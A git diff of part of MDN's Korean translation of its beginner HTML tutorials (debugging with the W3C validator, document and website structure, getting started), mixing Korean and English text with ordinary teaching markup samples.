So you can see from the above example that you really want to make sure your HTML is well-formed! But how? In a small example like the one seen above, it is easy to search through the lines and find the errors, but what about a huge, complex HTML document?

+ +

The best strategy is to start by running your HTML page through the Markup Validation Service — created and maintained by the W3C, the organization that looks after the specifications that define HTML, CSS, and other web technologies. This webpage takes an HTML document as an input, goes through it, and gives you a report to tell you what is wrong with your HTML.

+ +

The HTML validator homepage

+ +

To specify the HTML to validate, you can give it a web address, upload an HTML file, or directly input some HTML code.

+ +

Active learning: Validating an HTML document

+ +

Let's try this with our sample document.

+ +
    +
  1. First, load up the Markup Validation Service in one browser tab, if it isn't already.
  2. +
  3. Switch to the Validate by Direct Input tab.
  4. +
  5. Copy all the sample document's code (not just the body) and paste it into the large text area shown in the Markup Validation Service.
  6. +
  7. Press the Check button.
  8. +
+ +

This should give you a list of errors and other information.

+ +

A list of of HTML validation results from the W3C markup validation service

+ +

Interpreting the error messages

+ +

The error messages are usually helpful, but sometimes they are not so helpful; with a bit of practice you can work out how to interpret these to fix your code. Let's go through the error messages and what they mean. You'll see that each message comes with a line and column number to help you to locate the error easily.

+ + + +

If you can't work out what every error message means, don't worry about it — a good idea is to try fixing a few errors at a time. Then try revalidating your HTML to show what errors are left. Sometimes fixing an earlier error will also get rid of other error messages — several errors can often be caused by a single problem, in a domino effect.

+ +

You will know when all your errors are fixed when you see the following banner in your output:

+ +

Banner that reads "The document validates according to the specified schema(s) and to additional constraints checked by the validator."

+ +

요약

+ +

그래서 HTML을 디버깅하는 방법에 대해 소개합니다. 이 방법은 나중에 CSS, JavaScript 및 다른 유형의 코드를 디버깅 할 때 유용한 기술을 제공합니다. 이것은 또한 HTML 모듈 학습 입문의 끝 부분입니다. 이제 평가를 통해 스스로 테스트 할 수 있습니다. 첫 번째 것은 아래에 링크되어 있습니다.

+ +

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}

+ +

In this module

+ + diff --git a/files/ko/learn/html/introduction_to_html/document_and_website_structure/index.html b/files/ko/learn/html/introduction_to_html/document_and_website_structure/index.html new file mode 100644 index 0000000000..868313807c --- /dev/null +++ b/files/ko/learn/html/introduction_to_html/document_and_website_structure/index.html @@ -0,0 +1,267 @@ +--- +title: Document and website structure +slug: Learn/HTML/Introduction_to_HTML/Document_and_website_structure +translation_of: Learn/HTML/Introduction_to_HTML/Document_and_website_structure +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML")}}
+ +

당신의 페이지의 (단락 또는 이미지 같은) 개개의 파트를 정의할 뿐 아니라, {{glossary("HTML")}}은 웹 사이트의 구역을 정의하는 ("헤더", "네비게이션 메뉴", "메인 컨텐츠 칼럼"과 같은) 수많은 블록 수준 요소들로 웹 사이트를 자랑합니다. 이번 글은 어떻게 기본 웹 구조를 설계하고, 어떻게 그 구조를 나타내는 HTML을 작성하는지 살펴봅니다.

+ + + + + + + + + + + + +
선행 조건:Getting started with HTML의 HTML의 기본. HTML text fundamentals의 HTML 텍스트 형식. Creating hyperlinks의 하이퍼링크의 동작 방식.
목표:시멘틱 태그를 사용하여 문서 구조를 만드는 방법과 간단한 웹사이트 구조 만드는 방법을 배운다.
+ +

문서의 기본 섹션

+ +

웹페이지는 서로 많이 다르게 보일 수 있지만, 페이지가 전체화면 비디오 혹은 게임이거나 예술 프로젝트, 좋지 않은 구조를 가지고 있지 않은 이상에는 대부분 유사한 구성 요소를 가지고 있습니다.

+ +
+
header
+
일반적으로 큰 제목과 로고 등이 있는 큰 띠. 한 웹페이지에서 주요 정보가 있는 곳입니다.
+
navigation bar
+
홈 페이지의 메인 섹션으로 연결합니다; 대부분 메뉴 버튼이나 링크, 탭으로 표현됩니다. 헤더와 같이, 이 항목은 대부분 한 페이지로부터 다른 페이지로 넘어가도 구성으로 남아있습니다. — 웹 사이트에서 일관적이지 못한 네비게이션을 사용할 경우 방문자는 복잡함과 불만족스러움을 느낄 것입니다. 많은 웹 디자이너들은 네비게이션 바를 개별적인 구성 요소로 사용하기 보다 hearder bar의 일부로 다루지만 이는 필수 사항은 아닙니다; 사실 일부 사람들은 접근성을 위해서는 두 개로 나누는 것이 좋다고 주장하는데, 나뉜 경우 스크린 리더들이 두 특징들을 더 잘 읽을 수 있기 때문입니다.
+
main content
+
웹 페이지에서 가장 독특한 컨텐츠를 포함하고 있는 중심의 큰 부분으로, 예를 들어, 당신이 보고 싶어하는 비디오, 당신이 읽고 있는 주요 이야기, 당신이 보고 싶어하는 지도, 또는 뉴스 헤드라인 등이 있습니다. 물론 이 부분은 각 페이지마다 다른 웹 사이트의 한 부분입니다.  
+
sidebar
+
주변의 정보, 링크, 인용 부호, 광고 등입니다. 일반적으로 이는 메인 컨텐츠에 무엇이 포함되어 있느냐에 따라 다릅니다. (예를 들어 기사 페이지에서, sidebar는 작성자의 소개, 또는 관련 기사 링크를 포함할 것입니다.) 그러나 보조 navigation system으로서 되풀이되는 요소를 사용하는 경우도 찾아볼 수 있습니다. 
+
footer
+
페이지 바닥의 줄로 일반적으로 작은 정보, 저작권 정보, 또는 연락처 등을 포함하고 있습니다. (header와 같이) 일반적인 정보를 담고 있는 부분이지만 보통 중요하지 않거나 웹 사이트 자체에 부차적인 정보입니다. Footer는 또 가끔 {{Glossary("SEO")}} 목적으로 사용되는데, 인기 컨텐츠 바로가기 링크를 제공합니다.
+
+ +

"전형적인 웹사이트"는 다음과 같이 구성될 수 있습니다:

+ +

a simple website structure example featuring a main heading, navigation menu, main content, side bar, and footer.

+ +

컨텐츠 구조화를 위한 HTML

+ +

위에 보이는 간단한 예제는 아름답지는 않습니다. 하지만 전형적인 웹사이트 레이아웃을 보여주기에는 모자람이 없는 예제입니다. 어떤 웹사이트는 Column이 더 있을 수 있고, 더 복잡할 수 있습니다 하지만 아이디어가 있고 적절한 CSS를 활용한다면, 모든 요소를 활용하여 section별로 구분하여 당신이 원하는 모양으로 만들 수 있습니다. 하지만 이를 논의하기 전에, 우리는 semantic을 고려해서 (요소의 의미를 고려해서) 요소를 적재적소에 사용해야 합니다.

+ +

This is because visuals don't tell the whole story. We use color and font size to draw sighted users' attention to the most useful parts of the content, like the navigation menu and related links, but what about visually impaired people for example, who might not find concepts like "pink" and "large font" very useful?

+ +
+

Note: Colorblind people represent around 8% of the world population. Blind and visually impaired people represent roughly 4-5% of the world population (in 2012 there were 285 million such people in the world, while the total population was around 7 billion.)

+
+ +

In your HTML code, you can mark up sections of content based on their functionality — you can use elements that represent the sections of content described above unambiguously, and assistive technologies like screenreaders can recognise those elements and help with tasks like "find the main navigation", or "find the main content." As we mentioned earlier in the course, there are a number of consequences of not using the right element structure and semantics for the right job.

+ +

To implement such semantic mark up, HTML provides dedicated tags that you can use to represent such sections, for example:

+ + + +

Active learning: exploring the code for our example

+ +

Our example seen above is represented by the following code (you can also find the example in our Github repo). We'd like you to look at the example above, and then look over the listing below to see what parts make up what section of the visual.

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="utf-8">
+
+    <title>My page title</title>
+    <link href="https://fonts.googleapis.com/css?family=Open+Sans+Condensed:300|Sonsie+One" rel="stylesheet" type="text/css">
+    <link rel="stylesheet" href="style.css">
+
+    <!-- the below three lines are a fix to get HTML5 semantic elements working in old versions of Internet Explorer-->
+    <!--[if lt IE 9]>
+      <script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.js"></script>
+    <![endif]-->
+  </head>
+
+  <body>
+    <!-- Here is our main header that is used across all the pages of our website -->
+
+    <header>
+      <h1>Header</h1>
+    </header>
+
+    <nav>
+      <ul>
+        <li><a href="#">Home</a></li>
+        <li><a href="#">Our team</a></li>
+        <li><a href="#">Projects</a></li>
+        <li><a href="#">Contact</a></li>
+      </ul>
+
+       <!-- A Search form is another commmon non-linear way to navigate through a website. -->
+
+       <form>
+         <input type="search" name="q" placeholder="Search query">
+         <input type="submit" value="Go!">
+       </form>
+     </nav>
+
+    <!-- Here is our page's main content -->
+    <main>
+
+      <!-- It contains an article -->
+      <article>
+        <h2>Article heading</h2>
+
+        <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Donec a diam lectus. Set sit amet ipsum mauris. Maecenas congue ligula as quam viverra nec consectetur ant hendrerit. Donec et mollis dolor. Praesent et diam eget libero egestas mattis sit amet vitae augue. Nam tincidunt congue enim, ut porta lorem lacinia consectetur.</p>
+
+        <h3>subsection</h3>
+
+        <p>Donec ut librero sed accu vehicula ultricies a non tortor. Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aenean ut gravida lorem. Ut turpis felis, pulvinar a semper sed, adipiscing id dolor.</p>
+
+        <p>Pelientesque auctor nisi id magna consequat sagittis. Curabitur dapibus, enim sit amet elit pharetra tincidunt feugiat nist imperdiet. Ut convallis libero in urna ultrices accumsan. Donec sed odio eros.</p>
+
+        <h3>Another subsection</h3>
+
+        <p>Donec viverra mi quis quam pulvinar at malesuada arcu rhoncus. Cum soclis natoque penatibus et manis dis parturient montes, nascetur ridiculus mus. In rutrum accumsan ultricies. Mauris vitae nisi at sem facilisis semper ac in est.</p>
+
+        <p>Vivamus fermentum semper porta. Nunc diam velit, adipscing ut tristique vitae sagittis vel odio. Maecenas convallis ullamcorper ultricied. Curabitur ornare, ligula semper consectetur sagittis, nisi diam iaculis velit, is fringille sem nunc vet mi.</p>
+      </article>
+
+      <!-- the aside content can also be nested within the main content -->
+      <aside>
+        <h2>Related</h2>
+
+        <ul>
+          <li><a href="#">Oh I do like to be beside the seaside</a></li>
+          <li><a href="#">Oh I do like to be beside the sea</a></li>
+          <li><a href="#">Although in the North of England</a></li>
+          <li><a href="#">It never stops raining</a></li>
+          <li><a href="#">Oh well...</a></li>
+        </ul>
+      </aside>
+
+    </main>
+
+    <!-- And here is our main footer that is used across all the pages of our website -->
+
+    <footer>
+      <p>©Copyright 2050 by nobody. All rights reversed.</p>
+    </footer>
+
+  </body>
+</html>
+ +

Take some time to look over the code and understand it — the comments inside the code should also help you to understand it. We aren't asking you to do much else in this article, because the key to understanding document layout is writing a sound HTML structure, and then laying it out with CSS. We'll wait for this until you start to study CSS layout as part of the CSS topic.

+ +

HTML 레이아웃 요소의 세부 사항

+ +

It's good to understand the overall meaning of all the HTML sectioning elements in detail — this is something you'll work on gradually as you start to get more experience with web development. You can find a lot of detail by reading our HTML element reference. For now, these are the main definitions that you should try to understand:

+ + + +

Non-semantic wrappers

+ +

Sometimes you'll come across a situation where you can't find an ideal semantic element to group some items together or wrap some content. Sometimes you might want to just group a set of elements together to affect them all as a single entity with some {{glossary("CSS")}} or {{glossary("JavaScript")}}. For cases like these, HTML provides the {{HTMLElement("div")}} and {{HTMLElement("span")}} elements. You should use these preferably with a suitable {{htmlattrxref('class')}} attribute, to provide some kind of label for them so they can be easily targeted.

+ +

{{HTMLElement("span")}} is an inline non-semantic element, which you should only use if you can't think of a better semantic text element to wrap your content, or don't want to add any specific meaning. For example:

+ +
<p>The King walked drunkenly back to his room at 01:00, the beer doing nothing to aid
+him as he staggered through the door <span class="editor-note">[Editor's note: At this point in the
+play, the lights should be down low]</span>.</p>
+ +

In this case, the editor's note is supposed to merely provide extra direction for the director of the play; it is not supposed to have extra semantic meaning. For sighted users, CSS would perhaps be used to distance the note slightly from the main text.

+ +

{{HTMLElement("div")}} is a block level non-semantic element, which you should only use if you can't think of a better semantic block element to use, or don't want to add any specific meaning. For example, imagine a shopping cart widget that you could choose to pull up at any point during your time on an e-commerce site:

+ +
<div class="shopping-cart">
+  <h2>Shopping cart</h2>
+  <ul>
+    <li>
+      <p><a href=""><strong>Silver earrings</strong></a>: $99.95.</p>
+      <img src="../products/3333-0985/thumb.png" alt="Silver earrings">
+    </li>
+    <li>
+      ...
+    </li>
+  </ul>
+  <p>Total cost: $237.89</p>
+</div>
+ +

This isn't really an <aside>, as it doesn't necessarily relate to the main content of the page (you want it viewable from anywhere.) It doesn't even particularly warrant using a  <section>, as it isn't part of the main content of the page. So a <div> is fine in this case. We've included a heading as a signpost to aid screenreader users in finding it.

+ +
+

Warning: Divs are so convenient to use that it's easy to use them too much. As they carry no semantic value, they just clutter your HTML code. Take care to use them only when there is no better semantic solution and try to reduce their usage to the minimum otherwise you'll have a hard time updating and maintaining your documents.

+
+ +

Line breaks and horizontal rules

+ +

Two elements that you'll use occasionally and will want to know about are {{htmlelement("br")}} and {{htmlelement("hr")}}:

+ +

<br> creates a line break in a paragraph; it is the only way to force a rigid structure in a situation where you want a series of fixed short lines, such as in a postal address or a poem. For example:

+ +
<p>There once was a girl called Nell<br>
+Who loved to write HTML<br>
+But her structure was bad, her semantics were sad<br>
+and her markup didn't read very well.</p>
+ +

Without the <br> elements, the paragraph would just be rendered in one long line (as we said earlier in the course, HTML ignores most whitespace); with them in the code, the markup renders like this:

+ +

There once was a girl called Nell
+ Who loved to write HTML
+ But her structure was bad, her semantics were sad
+ and her markup didn't read very well.

+ +

<hr> elements create a horizontal rule in the document that denotes a thematic change in the text (such as a change in topic or scene). Visually it just look like a horizontal line. As an example:

+ +
<p>Ron was backed into a corner by the marauding netherbeasts. Scared, but determined to protect his friends, he raised his wand and prepared to do battle, hoping that his distress call had made it through.</p>
+<hr>
+<p>Meanwhile, Harry was sitting at home, staring at his royalty statement and pondering when the next spin off series would come out, when an enchanted distress letter flew through his window and landed in his lap. He read it hasily, and lept to his feet; "better get back to work then", he mused.</p>
+ +

Would render like this:

+ +

Ron was backed into a corner by the marauding netherbeasts. Scared, but determined to protect his friends, he raised his wand and prepared to do battle, hoping that his distress call had made it through.

+ +
+

Meanwhile, Harry was sitting at home, staring at his royalty statement and pondering when the next spin off series would come out, when an enchanted distress letter flew through his window and landed in his lap. He read it hasily and sighed; "better get back to work then", he mused.

+ +

간단한 웹사이트 계획하기

+ +

Once you've planned out the content of a simple webpage, the next logical step is to try to work out what content you want to put on a whole website, what pages you need, and how they should be arranged and link to one another for the best possible user experience. This is called {{glossary("Information architecture")}}. In a large, complex website, a lot of planning can go into this process, but for a simple website of a few pages this can be fairly simple, and fun!

+ +
    +
  1. 몇 요소들은 대부분의 페이지에 공통적으로 적용될 것이란 걸 명심하세요 — 네비게이션 메뉴나 footer 컨텐츠처럼. 예를 들어 비즈니스를 위한 페이지라면, 당신의 연락처를 각각의 페이지의 footer에 보이도록 하는 것은 좋은 생각입니다. 모든 페이지에 공통적으로 포함하고 싶은 것을 적어보세요.the common features of the travel site to go on every page: title and logo, contact, copyright, terms and conditions, language chooser, accessibility policy
  2. +
  3. 다음으로, 각 페이지의 구조를 간단한 스케치로 그리세요.아마 위의 우리의 간단한 웹사이트 같을 것입니다). 각 블럭의 기능을 적으세요.A simple diagram of a sample site structure, with a header, main content area, two optional sidebars, and footer
  4. +
  5. 이제 웹사이트에 포함시키길 원하는 (각 페이지에 공통적이지 않은) 다른 모든 컨텐츠를 brainstorm하세요 - 리스트에 모두 적어 내려가세요. A long list of all the features that we could put on our travel site, from searching, to special offers and country-specific info
  6. +
  7. 다음으로, 이 모든 컨텐츠들을 그룹화 해 다른 페이지에서 어떤 부분들이 함께할 수 있을지 생각할 수 있습니다. 이것은 {{glossary("Card sorting")}}이라는 기술과 매우 유사합니다.The items that should appear on a holiday site sorted into 5 categories: Search, Specials, Country-specific info, Search results, and Buy things
  8. +
  9. 이제 대략적인 사이트맵을 그려보세요 - 사이트의 각 페이지를 동그라미로 지정하고, 각 페이지 간 동작 흐름을 보여주기 위해 선을 그으세요. 홈페이지는 아마 가운데에 있고, 모두는 아니어도 대부분에 연결될 것 입니다; 작은 사이트 안의 대부분의 페이지는, 비록 예외는 있겠지만, 메인 네비게이션에서 사용할 수 있어야 합니다. 당신은 아마 이것들이 어떻게 보여져야 할지에 대한 설명도 적고 싶을 것입니다. A map of the site showing the homepage, country page, search results, specials page, checkout, and buy page
  10. +
+ +

Active learning: create your own sitemap

+ +

Try carrying out the above exercise for a website of your own creation. What would you like to make a site about?

+ +
+

Note: 작업물을 어딘가에 저장하세요; 나중에 필요할 수 도 있습니다.

+
+ +

Summary

+ +

At this point you should have a better idea about how to structure a web page/site. In the last article of this module, we'll study how to debug HTML.

+ +

See also

+ + + +

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML")}}

diff --git a/files/ko/learn/html/introduction_to_html/getting_started/index.html b/files/ko/learn/html/introduction_to_html/getting_started/index.html new file mode 100644 index 0000000000..319f8031db --- /dev/null +++ b/files/ko/learn/html/introduction_to_html/getting_started/index.html @@ -0,0 +1,725 @@ +--- +title: HTML 시작하기 +slug: Learn/HTML/Introduction_to_HTML/Getting_started +translation_of: Learn/HTML/Introduction_to_HTML/Getting_started +--- +
{{LearnSidebar}}
+ +
{{NextMenu("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML")}}
+ +

이 문서는 HTML 의 기본적인 내용에 대한 글입니다. 이 글에서는 HTML 에 관련된 용어들(Element, Attribute ..)의 정의에 대해 설명할 것입니다. 또한 HTML이 무엇으로 이루어져 있는지(구성요소), 어떻게 구성되어 있는지(구조), 중요한 특징은 무엇인지에 대해 설명할 것입니다. 독자의 흥미를 위해 간단한 HTML 을 작성하는 과정도 포함되어 있습니다.

+ + + + + + + + + + + + +
사전 지식기본적인 컴퓨터의 이해, 기본 소프트웨어 설치하기파일 다루기의 기본적 지식.
목표HTML언어에 대해 익숙해지고, HTML을 이용하여 실습해봅니다.
+ +

HTML이란?

+ +

{{glossary("HTML")}} (Hypertext Markup Language,하이퍼텍스트 마크업 언어)는 프로그래밍 언어는 아니고, 우리가 보는 웹페이지가 어떻게 구조화되어 있는지 브라우저로 하여금 알 수 있도록 하는 마크업 언어입니다. 이는 개발자로 하여금 복잡하게도 간단하게도 프로그래밍 할 수 있습니다. HTML은 {{glossary("Element", "elements")}}로 구성되어 있으며, 이들은 적절한 방법으로 나타내고 실행하기 위해 각 컨텐츠의 여러 부분들을 감싸고 마크업 합니다. {{glossary("Tag", "tags")}} 는 웹 상의 다른 페이지로 이동하게 하는 하이퍼링크 내용들을 생성하거나, 단어를 강조하는 등의 역할을 합니다.  예를들어, 다음의 내용을 봅시다.

+ +
My cat is very grumpy
+ +

만약 다음의 문장을 그냥 그 자체로 표시하고 싶다면, 태그 중  ({{htmlelement("p")}})로 감싸 엘리먼트를 문단으로 명시할 수 있습니다.

+ +
<p>My cat is very grumpy</p>
+ +
+

참고: HTML 요소는 대소문자를 구분하지 않습니다. 그 말은 {{htmlelement("title")}} 요소는 <title><TITLE><Title><TiTlE> 들과 같이 사용할 수 있습니다. 하지만 대게는 가독성과 기타 이유때문에 소문자로 작성합니다.

+
+ +

HTML 요소(Element)의 구조

+ +

HTML에서의 요소에 대해 좀 더 알아봅시다.

+ +

+ +

엘리먼트의 주요 부분은 다음과 같습니다.

+ +
    +
  1. 여는 태그(Opening tag): 이것은 요소의 이름과(이 경우 p), 열고 닫는 꺽쇠 괄호로 구성됩니다. 요소가 시작(이 경우 단락의 시작 부분)부터 효과가 적용되기 시작합니다.
  2. +
  3. 닫는 태그(Closing tag): 이것은 요소의 이름 앞에 슬래시(/)가 있는것을 제외하면 여는 태그(opening tag)와 같습니다. 이것은 요소의 끝(이 경우 단락의 끝 부분)에 위치합니다.  닫는 태그를 적어주지 않는 것은 흔한 초심자의 오류이며, 이것은 이상한 결과를 낳게됩니다.
  4. +
  5. 내용(Content): 요소의 내용이며, 이 경우 단순한 텍스트이다.
  6. +
  7. 요소(Element): 여는 태그, 닫는 태그, 내용을 통틀어 요소(element)라고한다.
  8. +
+ +

실습: 첫 번째 HTML 요소 만들어보기

+ +

Input 영역 아래의 줄을 <em> 과 </em> 태그를 이용해서 감싸 보세요. (줄의 앞에 요소를 열기위해 <em>태그를, 뒤에는 요소를 닫기위해  </em>태그를 두세요.)  — 이것은 그 줄에 이탤릭강조효과를 줍니다! 여러분이 수정하는 결과는 실시간으로 Output 영역에서 볼 수 있습니다.

+ +

만약 실수를 했다면, 언제든지 Reset 버튼을 눌러서 초기화 할 수 있습니다. 만약 아무래도 답을 모르겠다면, Show solution 버튼을 이용해서 답을 볼 수 있습니다.

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 400, "", "", "hide-codepen-jsfiddle") }}

+ +

포함(내포:內包)된 요소(Nesting elements)

+ +

요소 안에 다른 요소가 들어갈 수 있습니다. 그런 요소는 내포되었다고 표현합니다. "고양이가 매우 사납다" 라는 문단을 강조하기 위해서, '매우'라는 단어를 강조하는 {{htmlelement("strong")}} 요소를 중첩해서 사용할 수 있습니다.

+ +
<p>My cat is <strong>very</strong> grumpy.</p>
+ +

요소 내표를 위해서는 확인해야 할 것이 있습니다. 위의 예제에서는 p 요소가 먼저 열렸고, 그리고 strong 요소가 열렸습니다. 그렇기 때문에 strong 요소가 먼저 닫힌 후에 p 요소가 닫혀야 합니다. 아래와 같은 문장은 중첩(重疊 : 서로 포개어(overlap 또는 stacking) 지거나, 엇갈려 겹쳐짐)되었으므로 잘못된 문장입니다.

+ +
<p>My cat is <strong>very grumpy.</p></strong>
+ +

요소 내포을 위해서, 내포되어 지는 요소는 다른 요소 속에서 열고 닫혀야 하며 다른 요소를 포함시키는 요소는 그 바깥에서 열고 닫혀야 합니다. 위의 잘못된 예제와 같이 내포가 제대로 되지 않았을 경우엔 웹 브라우저가 임의로 결과를 보일 것이며, 그것은 원치않는 것일 수 있습니다. 그런데 잘못 된 내포에도 불구하고 어떤 브라우저에서 이상없이 보일 수도 있습니다. 하지만 그 것은 그저 그 브라우저가 문법에 흐물흐물(permittable)해서 웬만한 오류는 자체 수정해서 브라우저 창에 rendering해주기 때문일 뿐 입니다. '웬만한 오류는 알아서 처리해 준다.' 는 부분에서 초보자는 특히 주의해야 합니다.

+ +

블럭 레벨 요소 vs 인라인 요소(Block versus inline elements)

+ +

HTML에는 두가지 종류의 요소(Element) 가 있습니다. 블록 레벨 요소(Block level element) 와 인라인 요소(Inline element) 입니다.

+ + + +

다음 예시를 봅시다:

+ +
<em>first</em><em>second</em><em>third</em>
+
+<p>fourth</p><p>fifth</p><p>sixth</p>
+
+ +

{{htmlelement("em")}} 은 인라인 요소(inline element) 이므로, 밑에서 보실 수 있듯이, 처음 세 개의 요소는 서로 같은 줄에, 사이에 공백이 없이 위치합니다. 한편, {{htmlelement("p")}} 는 블록 레벨 요소이므로, 각 요소들은 새로운 줄에 나타나며, 위와 아래에 여백이 있습니다 (여백은 브라우저가 문단에 적용하는 기본 CSS styling 때문에 적용됩니다).

+ +

{{ EmbedLiveSample('Block_versus_inline_elements', 700, 200, "", "") }}

+ +
+

참고: HTML5에서 요소 분류를 재정의 했습니다: Element content categories. 이러한 정의는 이전의 정의보다 더 정확하고 덜 모호하지만, "블록"과 "인라인"보다 이해하기 훨씬 더 복잡하기 때문에, 이 주제 내내 이 정의들을 고수할 것입니다.

+
+ +
+

참고: 이 주제에서 사용되는 "블럭(block)"과 "인라인(inline)"의 뜻은  the types of CSS boxes에서 사용하고 있는 같은 단어와 혼돈하면 안 됩니다.  기본적으로는 상관관계가 있지만 CSS 표시 유형을 변경해도 요소의 범주는 변경되지 않으며 요소가 포함할 수 있는 요소와 요소가 포함될 수 있는 요소에는 영향을 주지 않는다. HTML5가 이러한 용어들을 삭제했던 이유 중 하나는 이러한 다소 흔한 혼란을 막기 위해서였다.

+
+ +
+

참고: Block-level elements문서와 Inline elements문서를 참고하면 블럭과 인라인 요소에 대한 유용한 내용을 찾을 수 있습니다.

+
+ +

빈 요소(Empty elements)

+ +

모든 요소가 위에 언급된 여는 태그, 내용, 닫는 태그 패턴을 따르는 것은 아닙니다. 주로 문서에 무언가를 첨부하기 위해 단일 태그(Single tag)를 사용하는 요소도 있습니다. 예를 들어 {{htmlelement("img")}} 요소는 해당 위치에 이미지를 삽입하기 위한 요소입니다:

+ +
<img src="https://raw.githubusercontent.com/mdn/beginner-html-site/gh-pages/images/firefox-icon.png">
+ +

위에 대한 결과는 다음과 같이 나올 것입니다:

+ +

{{ EmbedLiveSample('Empty_elements', 700, 300, "", "", "hide-codepen-jsfiddle") }}

+ +
+

참고: 빈 요소는 가끔 Void 요소로 불리기도 합니다.

+
+ +

속성(Attributes)

+ +

요소는 아래 이미지와 같이 속성을 가질 수 있습니다:

+ +

&amp;amp;lt;p class="editor-note">My cat is very grumpy&amp;amp;lt;/p>

+ +

속성은 요소에 실제론 나타내고 싶지 않지만 추가적인 내용을 담고 싶을 때 사용합니다. 위에는  나중에 스타일에 관련된 내용이나 기타 내용을 위해 해당 목표를 구분할 수 있는 class 속성을 부여했습니다.

+ +

속성을 사용할 때에는 아래 내용을 지켜야 합니다:

+ +
    +
  1. 요소 이름 다음에 바로 오는 속성은 요소 이름과 속성 사이에 공백이 있어야 되고, 하나 이상의 속성들이 있는 경우엔 속성 사이에 공백이 있어야 합니다.
  2. +
  3. 속성 이름 다음엔 등호(=)가 붙습니다.
  4. +
  5. 속성 값은 열고 닫는 따옴표로 감싸야 합니다.
  6. +
+ +

실습: 요소에 속성 추가하기

+ +

또다른 요소 중 하나인 {{htmlelement("a")}} 요소는 "anchor"를 의미하는데, 닻이 배를 항구로 연결하듯 텍스트를 감싸서 하이퍼링크로 만듭니다. 이 요소는 여러 속성을 가질 수 있지만 아래에 있는 두 개가 주로 사용됩니다:

+ + + +

당신이 즐겨 찾는 웹 사이트에 대한 링크를 만들기 위해 아래 입력 영역에서 행을 편집해 봅시다. 첫 번째로, <a> 요소를 추가합니다. 다음으로 href 속성과 title 속성을 추가합니다. 마지막으로 새 탭에서 링크를 열도록 target 속성을 지정합니다. 당신은 출력 영역에서 수정사항이 바로 변경되는 것을 볼 수 있습니다. 링크 위에 마우스를 올리면 title 속성 내용이 보여지고, 클릭하면 href 요소의 웹 주소로 이동할 것입니다. 각 요소의 이름과 그 값 사이에는 빈 칸이 필요하다는 것을 기억해야 합니다.

+ +

만약 실수했다면 Reset 버튼을 눌러 처음으로 돌아갈 수 있습니다. 도움이 필요한 경우에는 답을 Show solution 버튼을 눌러 정답을 볼 수 있습니다.

+ + + +

{{ EmbedLiveSample('Playable_code2', 700, 400, "", "", "hide-codepen-jsfiddle") }}

+ +

참과 거짓 속성(Boolean attributes)

+ +

때때로 값이 없는 속성을 볼 수 있을텐데 이것은 허용되는 것입니다. 이를 불 속성이라고 하며, 일반적으로 그 속성의 이름과 동일한 하나의 값만을 가질 수 있습니다.  예를 들어  {{htmlattrxref("disabled", "input")}} 속성을 양식 입력 요소에 할당하면 사용자가 데이터를 입력할 수 없도록 비활성화(회색으로 표시) 할 수 있습니다.

+ +
<input type="text" disabled="disabled">
+ +

이것은 다음과 같이 줄여쓸 수 있습니다. (당신이 참고할 수 있도록 비활성화를 하지 않은 형태도 포함했습니다.)

+ +
<input type="text" disabled>
+
+<input type="text">
+ +

이 둘은 다음과 같은 결과를 보여줍니다.

+ +

{{ EmbedLiveSample('Boolean_attributes', 700, 100, "", "", "hide-codepen-jsfiddle") }}

+ +

속성값의 따옴표 생략

+ +

웹을 둘러보면 따옴표가 없는 속성값을 포함한 온갖 이상한 마크업 스타일을 볼 것입니다. 어떤 상황에선 이런 것이 허용되지만, 다른 상황에서는 당신의 마크업 형식을 망쳐버립니다. 이전에 작성한 코드에서 우리는 href 속성만 있는 기본적인 버전을 작성했습니다.

+ +
<a href=https://www.mozilla.org/>favorite website</a>
+ +

하지만 여기에 title 속성을 추가하면 문제가 발생합니다.

+ +
<a href=https://www.mozilla.org/ title=The Mozilla homepage>favorite website</a>
+ +

이 때 브라우저는 당신의 마크업을 잘못 해석해서 title이 세 개의 속성값을 가진다고 생각할 것입니다. title 속성값 "The"와 두 개의 불 속성값 Mozilla, homepage라고 말이죠. 이 것은 우리가 의도한 것도 아닐 뿐더러 아래의 예시처럼 오류가 발생하거나 예상치 못한 동작을 할 수도 있습니다. 링크 위에 마우스를 올려 title이 어떻게 보이는지 확인해 보세요.

+ +

{{ EmbedLiveSample('Omitting_quotes_around_attribute_values', 700, 100, "", "", "hide-codepen-jsfiddle") }}

+ +

우리는 항상 속성값에 따옴표를 붙이라고 조언합니다. 이런 오류를 피할 수도 있고, 코드의 가독성도 좋아지기 때문입니다.

+ +

작은 따옴표, 큰 따옴표?

+ +

이 글에서 모든 속성값은 큰 따옴표에 둘러싸여 있는 것을 볼 수 있습니다. 하지만 당신은 어떤 사람의 HTML에서 작은 따옴표를 볼 수 있을 것입니다. 이 것은 스타일의 문제로, 당신이 좋아하는 방법을 사용하면 됩니다. 아래 두 문장은 똑같이 동작합니다.

+ +
<a href="http://www.example.com">A link to my example.</a>
+
+<a href='http://www.example.com'>A link to my example.</a>
+ +

주의해야할 점은 두 개를 섞어 쓰면 안된다는 것입니다. 다음은 잘못 사용한 예입니다.

+ +
<a href="http://www.example.com'>A link to my example.</a>
+ +

만약 한 가지 따옴표를 사용했다면 다른 따옴표로 속성값을 둘러싸서 오류를 방지할 수 있습니다.

+ +
<a href="http://www.example.com" title="Isn't this fun?">A link to my example.</a>
+ +

하지만 만약 당신이 따옴표 안에 같은 따옴표를 사용하고 싶다면(작은 따옴표든 큰 따옴표든) 따옴표를 표시하기 위해서 HTML entities를 사용하세요. 예를 들어 이렇게 하면 잘못됩니다.

+ +
<a href='http://www.example.com' title='Isn't this fun?'>A link to my example.</a>
+ +

그래서 이렇게 바꿔주면 잘 작동합니다.

+ +
<a href='http://www.example.com' title='Isn&#39;t this fun?'>A link to my example.</a>
